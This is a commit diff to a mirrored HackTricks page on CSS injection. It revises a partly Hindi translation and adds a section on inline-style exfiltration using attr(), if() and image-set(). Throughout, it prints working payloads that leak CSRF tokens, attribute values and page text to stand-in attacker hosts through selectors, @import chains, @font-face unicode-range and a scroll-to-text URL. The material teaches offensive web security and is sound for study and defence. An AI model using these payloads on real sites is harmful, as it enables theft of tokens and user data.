mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
e9e34667ce
commit
7d21d1a0f6
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Attribute Selector
|
||||
### एट्रिब्यूट सेलेक्टर
|
||||
|
||||
CSS चयनकर्ता `input` तत्व के `name` और `value` विशेषताओं के मानों से मेल खाने के लिए बनाए जाते हैं। यदि इनपुट तत्व की मान विशेषता किसी विशेष वर्ण से शुरू होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड किया जाता है:
|
||||
CSS सेलेक्टर्स को इस तरह बनाया जाता है कि वे `input` एलिमेंट के `name` और `value` एट्रिब्यूट के मानों से मिलें। यदि `input` एलिमेंट के `value` एट्रिब्यूट की शुरुआत किसी विशिष्ट कैरैक्टर से होती है, तो एक पूर्वनिर्धारित बाहरी संसाधन लोड हो जाता है:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
हालांकि, इस दृष्टिकोण को छिपे हुए इनपुट तत्वों (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करना पड़ता है क्योंकि छिपे हुए तत्व पृष्ठभूमियों को लोड नहीं करते हैं।
|
||||
हालाँकि, यह तरीका छिपे हुए input elements (`type="hidden"`) के साथ काम करते समय एक सीमा का सामना करता है क्योंकि छिपे हुए एलिमेंट्स बैकग्राउंड लोड नहीं करते।
|
||||
|
||||
#### छिपे हुए तत्वों के लिए बायपास
|
||||
#### छिपे हुए एलिमेंट्स के लिए बायपास
|
||||
|
||||
इस सीमा को पार करने के लिए, आप `~` सामान्य भाई संयोजक का उपयोग करके एक बाद के भाई तत्व को लक्षित कर सकते हैं। CSS नियम तब सभी भाई तत्वों पर लागू होता है जो छिपे हुए इनपुट तत्व के बाद आते हैं, जिससे पृष्ठभूमि छवि लोड होती है:
|
||||
इस सीमा को बायपास करने के लिए, आप `~` general sibling combinator का उपयोग करके उसके बाद आने वाले sibling element को target कर सकते हैं। फिर CSS rule hidden input element के बाद आने वाले सभी siblings पर लागू हो जाता है, जिससे background image लोड हो जाती है:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
एक व्यावहारिक उदाहरण इस तकनीक का शोषण करने का प्रदान किए गए कोड स्निपेट में विस्तृत है। आप इसे [यहाँ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) देख सकते हैं।
|
||||
A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### CSS इंजेक्शन के लिए पूर्वापेक्षाएँ
|
||||
#### CSS Injection के लिए पूर्व-आवश्यकताएँ
|
||||
|
||||
CSS इंजेक्शन तकनीक प्रभावी होने के लिए, कुछ शर्तें पूरी होनी चाहिए:
|
||||
For the CSS Injection technique to be effective, certain conditions must be met:
|
||||
|
||||
1. **पेलोड लंबाई**: CSS इंजेक्शन वेक्टर को तैयार किए गए चयनकर्ताओं को समायोजित करने के लिए पर्याप्त लंबे पेलोड का समर्थन करना चाहिए।
|
||||
2. **CSS पुनर्मूल्यांकन**: आपको पृष्ठ को फ्रेम करने की क्षमता होनी चाहिए, जो नए उत्पन्न पेलोड के साथ CSS के पुनर्मूल्यांकन को ट्रिगर करने के लिए आवश्यक है।
|
||||
3. **बाहरी संसाधन**: यह तकनीक बाहरी होस्ट किए गए चित्रों का उपयोग करने की क्षमता मानती है। यह साइट की सामग्री सुरक्षा नीति (CSP) द्वारा प्रतिबंधित हो सकता है।
|
||||
1. **Payload Length**: CSS injection vector को crafted selectors समाहित करने के लिए पर्याप्त लंबे payloads का समर्थन करना चाहिए।
|
||||
2. **CSS Re-evaluation**: आपके पास पेज को frame करने की क्षमता होनी चाहिए, जो नए जनरेट किए गए payloads के साथ CSS की re-evaluation को trigger करने के लिए आवश्यक है।
|
||||
3. **External Resources**: यह technique externally hosted images का उपयोग करने की क्षमता मानती है। यह साइट की Content Security Policy (CSP) द्वारा प्रतिबंधित हो सकता है।
|
||||
|
||||
### ब्लाइंड एट्रिब्यूट सेलेक्टर
|
||||
### Blind Attribute Selector
|
||||
|
||||
जैसा कि [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), यह संभव है कि **`:has`** और **`:not`** चयनकर्ताओं को मिलाकर सामग्री की पहचान की जा सके, यहां तक कि ब्लाइंड तत्वों से भी। यह तब बहुत उपयोगी होता है जब आपको यह नहीं पता होता कि CSS इंजेक्शन लोड करने वाले वेब पृष्ठ के अंदर क्या है।\
|
||||
यह चयनकर्ताओं का उपयोग करके समान प्रकार के कई ब्लॉकों से जानकारी निकालना भी संभव है जैसे कि:
|
||||
As [**इस पोस्ट में समझाया गया है**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
इसका संयोजन निम्नलिखित **@import** तकनीक के साथ करने पर, यह संभव है कि **CSS इंजेक्शन से अंधे पृष्ठों से बहुत सारी जानकारी को एक्सफिल्ट्रेट किया जा सके** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Combining this with the following **@import** technique, it's possible to exfiltrate a lot of **CSS injection का उपयोग करके blind pages से जानकारी** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
पिछली तकनीक में कुछ कमियाँ हैं, आवश्यकताओं की जांच करें। आपको या तो **शिकार पर कई लिंक भेजने में सक्षम होना चाहिए**, या आपको **CSS इंजेक्शन संवेदनशील पृष्ठ को iframe करने में सक्षम होना चाहिए**।
|
||||
पिछली तकनीक में कुछ कमियाँ हैं — पूर्वापेक्षाएँ देखें। आपको या तो **victim को कई लिंक भेजने में सक्षम होना चाहिए**, या आपको **CSS injection vulnerable page को iframe करने में सक्षम होना चाहिए**।
|
||||
|
||||
हालांकि, एक और चतुर तकनीक है जो **CSS `@import`** का उपयोग करके तकनीक की गुणवत्ता में सुधार करती है।
|
||||
हालाँकि, एक और चालाक तकनीक है जो तकनीक की गुणवत्ता सुधारने के लिए **CSS `@import`** का उपयोग करती है।
|
||||
|
||||
यह पहली बार [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) द्वारा दिखाया गया था और यह इस प्रकार काम करता है:
|
||||
इसे सबसे पहले [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) ने दिखाया था और यह इस तरह काम करता है:
|
||||
|
||||
एक ही पृष्ठ को बार-बार विभिन्न पेलोड के साथ लोड करने के बजाय (जैसे पिछले में), हम **पृष्ठ को केवल एक बार और केवल हमलावर के सर्वर के लिए एक आयात के साथ लोड करने जा रहे हैं** (यह शिकार को भेजने के लिए पेलोड है):
|
||||
एक ही पेज को बार-बार, हर बार दर्जनों अलग payloads के साथ लोड करने के बजाय (जैसा कि पिछली तकनीक में), हम पेज को **सिर्फ एक बार लोड करेंगे और सिर्फ एक import के साथ attackers server की ओर इशारा करेंगे** (यह payload है जिसे victim को भेजना है):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. आयात **हमलावरों से कुछ CSS स्क्रिप्ट प्राप्त करने वाला है** और **ब्राउज़र इसे लोड करेगा**।
|
||||
2. CSS स्क्रिप्ट का पहला भाग जो हमलावर भेजेगा, वह है **फिर से हमलावर के सर्वर के लिए एक और `@import`।**
|
||||
1. हमलावर का सर्वर अभी इस अनुरोध का उत्तर नहीं देगा, क्योंकि हम कुछ अक्षरों को लीक करना चाहते हैं और फिर इस आयात का उत्तर लीक करने के लिए पेलोड के साथ देना चाहते हैं।
|
||||
3. पेलोड का दूसरा और बड़ा भाग एक **एट्रिब्यूट सेलेक्टर लीक पेलोड** होगा।
|
||||
1. यह हमलावर के सर्वर को **गुप्त का पहला और अंतिम अक्षर** भेजेगा।
|
||||
4. एक बार जब हमलावर के सर्वर ने **गुप्त का पहला और अंतिम अक्षर प्राप्त कर लिया**, तो यह **चरण 2 में अनुरोधित आयात का उत्तर देगा**।
|
||||
1. उत्तर **चरण 2, 3 और 4 के समान होगा**, लेकिन इस बार यह **गुप्त का दूसरा अक्षर और फिर अंतिम से पहले का अक्षर खोजने की कोशिश करेगा**।
|
||||
1. Import attackers से **कुछ CSS script प्राप्त करेगा** और **browser इसे load करेगा**.
|
||||
2. Attacker द्वारा भेजा जाने वाला CSS script का पहला भाग **फिर से attackers के server पर एक और `@import` होगा.**
|
||||
1. attackers server अभी इस request का response नहीं देगा, क्योंकि हम कुछ chars को leak करना चाहते हैं और फिर अगले ones को leak करने के लिए इस import का payload से response करेंगे.
|
||||
3. Payload का दूसरा और बड़ा हिस्सा **attribute selector leakage payload** होगा
|
||||
1. यह attackers के server को secret का **पहला char और आखिरी char** भेजेगा
|
||||
4. जब attackers server को secret के **पहले और आखिरी char** मिल जाएंगे, तो यह **step 2 में मांगी गई import का response देगा**.
|
||||
1. Response बिल्कुल वही होगा जैसा कि **steps 2, 3 and 4**, लेकिन इस बार यह secret के **दूसरे char और फिर उप-आखिरी** को खोजने की कोशिश करेगा.
|
||||
|
||||
हमलावर **इस लूप का पालन करेगा जब तक कि वह पूरी तरह से गुप्त को लीक नहीं कर लेता**।
|
||||
Attacker उस loop को **follow करेगा जब तक वह secret को पूरी तरह से leak करने में सफल न हो जाए**.
|
||||
|
||||
आप मूल [**Pepe Vila का कोड इस परिष्कृत करने के लिए यहाँ पा सकते हैं**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) या आप लगभग [**समान कोड लेकिन टिप्पणी के साथ यहाँ पा सकते हैं**।](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> स्क्रिप्ट हर बार 2 अक्षरों को खोजने की कोशिश करेगी (शुरुआत से और अंत से) क्योंकि एट्रिब्यूट सेलेक्टर चीजें करने की अनुमति देता है जैसे:
|
||||
> [!TIP]
|
||||
> स्क्रिप्ट हर बार 2 chars (शुरू से और अंत से) खोजने की कोशिश करेगी क्योंकि attribute selector इस तरह की चीज़ें करने की अनुमति देता है:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= मान के प्रारंभ से मेल खाने के लिए */
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= मान के अंत से मेल खाने के लिए */
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> यह स्क्रिप्ट को गुप्त को तेजी से लीक करने की अनुमति देता है।
|
||||
> इससे स्क्रिप्ट secret को तेजी से leak कर पाएगी।
|
||||
|
||||
> [!WARNING]
|
||||
> कभी-कभी स्क्रिप्ट **सही ढंग से पहचान नहीं पाती है कि खोजा गया उपसर्ग + प्रत्यय पहले से ही पूरा ध्वज है** और यह आगे (उपसर्ग में) और पीछे (प्रत्यय में) जारी रखेगी और किसी बिंदु पर यह लटक जाएगी।\
|
||||
> चिंता न करें, बस **आउटपुट** की जांच करें क्योंकि **आप वहाँ ध्वज देख सकते हैं**।
|
||||
> कभी-कभी स्क्रिप्ट **यह सही तरीके से detect नहीं करती कि पाया गया prefix + suffix पहले से ही पूरा flag है** और यह आगे (prefix में) और पीछे (suffix में) बढ़ती रहेगी और किसी बिंदु पर hang कर जाएगी.\
|
||||
> चिंता की बात नहीं, बस **output** चेक करें क्योंकि **आप वहां flag देख सकते हैं**.
|
||||
|
||||
### अन्य सेलेक्टर्स
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
**CSS सेलेक्टर्स** के साथ DOM भागों तक पहुँचने के अन्य तरीके:
|
||||
This primitive enables exfiltration using only an element's inline style attribute, without selectors or external stylesheets. यह CSS custom properties, attr() function (same-element attributes पढ़ने के लिए), नए CSS if() conditionals (branching के लिए), और image-set() (match किए गए value को encode करने वाला network request trigger करने के लिए) पर निर्भर करता है।
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: यह DOM में "class-to-search" वर्ग के साथ दूसरे आइटम को खोजेगा।
|
||||
- **`:empty`** सेलेक्टर: उदाहरण के लिए [**इस लेख में**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
> [!WARNING]
|
||||
> if() में equality comparisons के लिए string literals में double quotes की आवश्यकता होती है। Single quotes match नहीं करेंगे।
|
||||
|
||||
- Sink: किसी element के style attribute को control करें और सुनिश्चित करें कि target attribute उसी element पर हो (attr() केवल same-element attributes पढ़ता है)।
|
||||
- Read: attribute की value को CSS variable में copy करें: `--val: attr(title)`.
|
||||
- Decide: nested conditionals का उपयोग करके variable की तुलना string candidates से कर URL चुनें: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: चुने गए endpoint के लिए request मजबूर करने के लिए `background: image-set(var(--steal))` (या कोई भी fetching property) लागू करें।
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
कार्यशील payload (तुलना में double quotes आवश्यक हैं):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
नेस्टेड कंडीशनों के साथ attribute मानों की सूची बनाना:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
यथार्थवादी डेमो (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
नोट्स और सीमाएँ:
|
||||
|
||||
- अनुसंधान के समय Chromium-based ब्राउज़रों पर काम करता है; अन्य इंजन पर व्यवहार अलग हो सकता है।
|
||||
- यह सीमित/गणनीय मान क्षेत्रों (IDs, flags, छोटे usernames) के लिए सबसे उपयुक्त है। बाहरी stylesheets के बिना arbitrary लंबी स्ट्रिंग्स चुराना चुनौतीपूर्ण बना रहता है।
|
||||
- कोई भी CSS property जो URL को fetch करती है, उसे request ट्रिगर करने के लिए उपयोग किया जा सकता है (उदा., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automation: a Burp Custom Action nested inline-style payloads जनरेट करके attribute values को brute-force करने के लिए उपयोग कर सकता है: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Other selectors
|
||||
|
||||
DOM के हिस्सों तक पहुँचने के अन्य तरीके **CSS selectors** का उपयोग कर:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: यह DOM में class "class-to-search" वाला दूसरा आइटम खोजेगा।
|
||||
- **`:empty`** selector: उदाहरण के लिए [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### त्रुटि आधारित XS-Search
|
||||
### Error based XS-Search
|
||||
|
||||
**संदर्भ:** [CSS आधारित हमला: @font-face के unicode-range का दुरुपयोग](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [त्रुटि-आधारित XS-Search PoC @terjanq द्वारा](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
कुल मिलाकर इरादा है **एक नियंत्रित एंडपॉइंट से एक कस्टम फ़ॉन्ट का उपयोग करना** और सुनिश्चित करना कि **पाठ (इस मामले में, 'A') केवल तभी इस फ़ॉन्ट के साथ प्रदर्शित होता है जब निर्दिष्ट संसाधन (`favicon.ico`) लोड नहीं किया जा सकता**।
|
||||
सामान्य उद्देश्य यह है कि **नियंत्रित endpoint से एक custom font का उपयोग किया जाए** और यह सुनिश्चित किया जाए कि **text (इस मामले में, 'A') केवल तभी इस font के साथ दर्शाया जाए जब निर्दिष्ट resource (`favicon.ico`) लोड न हो सके**।
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -140,47 +176,47 @@ font-family: "poc";
|
||||
```
|
||||
1. **कस्टम फ़ॉन्ट का उपयोग**:
|
||||
|
||||
- एक कस्टम फ़ॉन्ट को `<head>` सेक्शन में `<style>` टैग के भीतर `@font-face` नियम का उपयोग करके परिभाषित किया गया है।
|
||||
- फ़ॉन्ट का नाम `poc` है और इसे एक बाहरी एंडपॉइंट (`http://attacker.com/?leak`) से लाया जाता है।
|
||||
- `unicode-range` प्रॉपर्टी को `U+0041` पर सेट किया गया है, जो विशेष यूनिकोड कैरेक्टर 'A' को लक्षित करता है।
|
||||
- एक कस्टम फ़ॉन्ट `<head>` सेक्शन के `<style>` टैग के अंदर `@font-face` नियम का उपयोग करके परिभाषित किया गया है।
|
||||
- फ़ॉन्ट का नाम `poc` रखा गया है और इसे एक external endpoint (`http://attacker.com/?leak`) से फ़ेच किया जाता है।
|
||||
- `unicode-range` प्रॉपर्टी को `U+0041` पर सेट किया गया है, जो विशिष्ट यूनिकोड कैरेक्टर 'A' को लक्षित करता है।
|
||||
|
||||
2. **फॉलबैक टेक्स्ट के साथ ऑब्जेक्ट तत्व**:
|
||||
- `<body>` सेक्शन में `id="poc0"` के साथ एक `<object>` तत्व बनाया गया है। यह तत्व `http://192.168.0.1/favicon.ico` से एक संसाधन लोड करने की कोशिश करता है।
|
||||
- इस तत्व के लिए `font-family` को `<style>` सेक्शन में परिभाषित `'poc'` पर सेट किया गया है।
|
||||
- यदि संसाधन (`favicon.ico`) लोड करने में विफल रहता है, तो `<object>` टैग के भीतर फॉलबैक सामग्री (अक्षर 'A') प्रदर्शित होती है।
|
||||
- यदि बाहरी संसाधन लोड नहीं किया जा सकता है, तो फॉलबैक सामग्री ('A') को कस्टम फ़ॉन्ट `poc` का उपयोग करके प्रदर्शित किया जाएगा।
|
||||
2. **Object Element with Fallback Text**:
|
||||
- `<body>` सेक्शन में `id="poc0"` वाले `<object>` एलिमेंट को बनाया गया है। यह एलिमेंट `http://192.168.0.1/favicon.ico` से एक resource लोड करने की कोशिश करता है।
|
||||
- इस एलिमेंट के लिए `font-family` को `<style>` सेक्शन में परिभाषित `'poc'` पर सेट किया गया है।
|
||||
- यदि resource (`favicon.ico`) लोड करने में विफल रहता है, तो `<object>` टैग के अंदर fallback content (अक्षर 'A') प्रदर्शित होता है।
|
||||
- यदि external resource लोड नहीं हो पाता, तो fallback content ('A') कस्टम फ़ॉन्ट `poc` का उपयोग करके render होगा।
|
||||
|
||||
### स्क्रॉल-टू-टेक्स्ट फ़्रैगमेंट की स्टाइलिंग
|
||||
### Styling Scroll-to-Text Fragment
|
||||
|
||||
**`:target`** प्सेउडो-क्लास का उपयोग एक तत्व का चयन करने के लिए किया जाता है जिसे **URL फ़्रैगमेंट** द्वारा लक्षित किया गया है, जैसा कि [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) में निर्दिष्ट किया गया है। यह समझना महत्वपूर्ण है कि `::target-text` किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को स्पष्ट रूप से फ़्रैगमेंट द्वारा लक्षित नहीं किया गया हो।
|
||||
**`:target`** pseudo-class का उपयोग उस तत्व को select करने के लिए किया जाता है जिसे **URL fragment** द्वारा target किया गया हो, जैसा कि [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) में निर्दिष्ट है। यह समझना महत्वपूर्ण है कि `::target-text` किसी भी तत्व से मेल नहीं खाता जब तक कि टेक्स्ट को fragment द्वारा स्पष्ट रूप से target न किया गया हो।
|
||||
|
||||
एक सुरक्षा चिंता तब उत्पन्न होती है जब हमलावर **Scroll-to-text** फ़्रैगमेंट फ़ीचर का लाभ उठाते हैं, जिससे उन्हें HTML इंजेक्शन के माध्यम से अपने सर्वर से संसाधन लोड करके किसी वेबपेज पर विशिष्ट टेक्स्ट की उपस्थिति की पुष्टि करने की अनुमति मिलती है। यह विधि इस तरह के CSS नियम को इंजेक्ट करने में शामिल है:
|
||||
जब हमलावर **Scroll-to-text** fragment feature का दुरुपयोग करते हैं, तो एक सुरक्षा चिंता उत्पन्न होती है — इससे वे HTML injection के ज़रिये अपने server से resource लोड करके किसी वेबपेज पर किसी विशेष टेक्स्ट की उपस्थिति की पुष्टि कर सकते हैं। यह तरीका इस तरह की CSS rule inject करने में शामिल है:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
ऐसे परिदृश्यों में, यदि पृष्ठ पर "Administrator" पाठ मौजूद है, तो संसाधन `target.png` सर्वर से अनुरोध किया जाता है, जो पाठ की उपस्थिति को इंगित करता है। इस हमले का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से निष्पादित किया जा सकता है जो इंजेक्टेड CSS को Scroll-to-text फ़्रैगमेंट के साथ एम्बेड करता है:
|
||||
ऐसे परिदृश्यों में, यदि पेज पर "Administrator" मौजूद है, तो सर्वर से `target.png` रिसोर्स का अनुरोध होता है, जो टेक्स्ट की मौजूदगी दर्शाता है। इस attack का एक उदाहरण एक विशेष रूप से तैयार किए गए URL के माध्यम से निष्पादित किया जा सकता है जो injected CSS को Scroll-to-text fragment के साथ एम्बेड करता है:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
यहाँ, हमला HTML इंजेक्शन का उपयोग करके CSS कोड को संचारित करने के लिए "Administrator" विशेष पाठ को लक्षित करता है, Scroll-to-text fragment (`#:~:text=Administrator`) के माध्यम से। यदि पाठ पाया जाता है, तो निर्दिष्ट संसाधन लोड होता है, अनजाने में हमलावर को इसकी उपस्थिति का संकेत देता है।
|
||||
यहाँ, हमला HTML injection को manipulate करके CSS कोड को भेजता है, Scroll-to-text fragment (`#:~:text=Administrator`) के माध्यम से विशेष टेक्स्ट "Administrator" को लक्षित करते हुए। यदि वह टेक्स्ट मिल जाता है, तो निर्दिष्ट resource लोड हो जाता है, जो अनजाने में उसकी मौजूदगी का संकेत attacker को दे देता है।
|
||||
|
||||
निवारण के लिए, निम्नलिखित बिंदुओं पर ध्यान दिया जाना चाहिए:
|
||||
रोकथाम के लिए, निम्न बिंदुओं पर ध्यान देना चाहिए:
|
||||
|
||||
1. **संकीर्ण STTF मिलान**: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, जिससे यह मनमाने रहस्यों या टोकनों को लीक करने की क्षमता को सीमित करता है।
|
||||
2. **शीर्ष-स्तरीय ब्राउज़िंग संदर्भों तक सीमित**: STTF केवल शीर्ष-स्तरीय ब्राउज़िंग संदर्भों में कार्य करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी शोषण के प्रयास को उपयोगकर्ता के लिए अधिक ध्यान देने योग्य बना देता है।
|
||||
3. **उपयोगकर्ता सक्रियण की आवश्यकता**: STTF को कार्य करने के लिए एक उपयोगकर्ता-क्रियान्वयन इशारा की आवश्यकता होती है, जिसका अर्थ है कि शोषण केवल उपयोगकर्ता-प्रेरित नेविगेशन के माध्यम से संभव है। यह आवश्यकता हमलों के स्वचालित होने के जोखिम को काफी कम कर देती है बिना उपयोगकर्ता की बातचीत के। फिर भी, ब्लॉग पोस्ट के लेखक विशिष्ट स्थितियों और बायपास का उल्लेख करते हैं (जैसे, सामाजिक इंजीनियरिंग, प्रचलित ब्राउज़र एक्सटेंशन के साथ बातचीत) जो हमले के स्वचालन को आसान बना सकते हैं।
|
||||
1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) केवल शब्दों या वाक्यों से मेल खाने के लिए डिज़ाइन किया गया है, इसलिए इसकी क्षमता arbitrary secrets या tokens को leak करने तक सीमित रहती है।
|
||||
2. **Restriction to Top-level Browsing Contexts**: STTF केवल top-level browsing contexts में ही काम करता है और iframes के भीतर कार्य नहीं करता, जिससे किसी भी exploitation प्रयास का उपयोगकर्ता के लिए पता लगना अधिक संभव होता है।
|
||||
3. **Necessity of User Activation**: STTF को कार्य करने के लिए user-activation gesture की आवश्यकता होती है, यानी exploitations केवल user-initiated navigations के माध्यम से संभव होते हैं। यह आवश्यकता बिना user interaction के attacks के automated होने के जोखिम को काफी हद तक कम करती है। फिर भी, blog post के लेखक ने कुछ विशेष परिस्थितियों और bypasses (जैसे social engineering, लोकप्रिय browser extensions के साथ interaction) की ओर इशारा किया है जो attack के automation को आसान बना सकते हैं।
|
||||
|
||||
इन तंत्रों और संभावित कमजोरियों के प्रति जागरूकता वेब सुरक्षा बनाए रखने और ऐसे शोषणकारी तकनीकों के खिलाफ सुरक्षा के लिए कुंजी है।
|
||||
इन механизмों और संभावित कमजोरियों के प्रति सजग रहना वेब सुरक्षा बनाए रखने और ऐसे exploitative तरीकों से बचाव के लिए महत्वपूर्ण है।
|
||||
|
||||
अधिक जानकारी के लिए मूल रिपोर्ट देखें: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
आप इस तकनीक का उपयोग करके एक [**CTF के लिए शोषण यहाँ देख सकते हैं**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)।
|
||||
You can check an [**exploit using this technique for a CTF here**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
आप **विशिष्ट unicode मानों के लिए बाहरी फ़ॉन्ट निर्दिष्ट कर सकते हैं** जो केवल तब **एकत्रित किए जाएंगे जब वे unicode मान पृष्ठ में मौजूद हों**। उदाहरण के लिए:
|
||||
आप specific unicode मानों के लिए **external fonts** निर्दिष्ट कर सकते हैं जो केवल तभी **gathered होंगे यदि वे unicode मान पेज में मौजूद हों**। उदाहरण के लिए:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,24 +242,24 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
जब आप इस पृष्ठ तक पहुँचते हैं, तो Chrome और Firefox "?A" और "?B" को लाते हैं क्योंकि संवेदनशील-जानकारी के टेक्स्ट नोड में "A" और "B" वर्ण होते हैं। लेकिन Chrome और Firefox "?C" को नहीं लाते हैं क्योंकि इसमें "C" नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।
|
||||
जब आप इस पेज को एक्सेस करते हैं, तो Chrome और Firefox "?A" और "?B" को fetch करते हैं क्योंकि sensitive-information के text node में "A" और "B" कैरेक्टर मौजूद हैं। लेकिन Chrome और Firefox "?C" को fetch नहीं करते क्योंकि इसमें "C" मौजूद नहीं है। इसका मतलब है कि हम "A" और "B" को पढ़ने में सक्षम रहे हैं।
|
||||
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (I): लिगेचर्स <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
